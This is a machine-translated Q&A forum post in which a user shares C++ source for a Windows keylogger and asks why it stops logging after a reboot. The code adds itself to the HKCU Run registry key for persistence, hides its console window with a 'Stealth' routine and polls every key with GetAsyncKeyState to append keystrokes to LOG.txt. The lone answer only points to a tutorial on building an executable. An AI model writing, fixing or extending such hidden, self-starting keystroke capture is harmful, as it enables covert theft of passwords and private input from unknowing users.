我想在启动时添加cpp
程序
这是一个代码。
#include <iostream>
using namespace std;
#include <fstream>
#include <stdlib.h>
#include <windows.h>
#include <string>
#include <tchar.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
/*/////////////// START UP ////////////*/
TCHAR exepath[MAX_PATH];
GetModuleFileName(0, exepath, MAX_PATH);
HKEY hKey;
LONG lnRes = RegOpenKeyEx(
HKEY_CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,KEY_WRITE,
&hKey
);
if( ERROR_SUCCESS == lnRes )
{
lnRes = RegSetValueEx(hKey,
"what I write here ???",
0,
REG_SZ,
(BYTE*) exepath,
_tcslen(exepath));
}
/**********************************************/
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
fprintf(OUTPUT_FILE, "%s", "[WORKING...]");
fclose (OUTPUT_FILE);
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
当您从keyborad输入任何按钮时,此代码会生成LOG.TXT
文件
当我重新启动计算机时,此程序在启动时成功添加我在Task Manager
中检查了此程序正在进行中
但是当我按下任何按钮时,LOG.TXT
无法生成
该程序没有错误。还有一件事我复制粘贴了startup
代码,我不知道我在这里写了什么lnRes = RegSetValueEx(hKey,
"what I write here ???",
我写任何东西或不会对这个程序产生影响
任何人都可以告诉我为什么当我重新启动计算机时程序不起作用,否则这样做效果很好
我正在使用windows 7
这里可以使用cpp在启动时添加程序的任何其他方法
我知道有一种手动方法可以在启动文件夹中添加任何程序。但我不打算使用它。
感谢...
答案 0 :(得分:0)
我建议如果您使用的是Windows操作系统,那么将您的c ++程序转换为Windows可执行文件并将其放入Windows启动程序中 http://xoax.net/cpp/crs/visualcpp/lessons/CreateExe/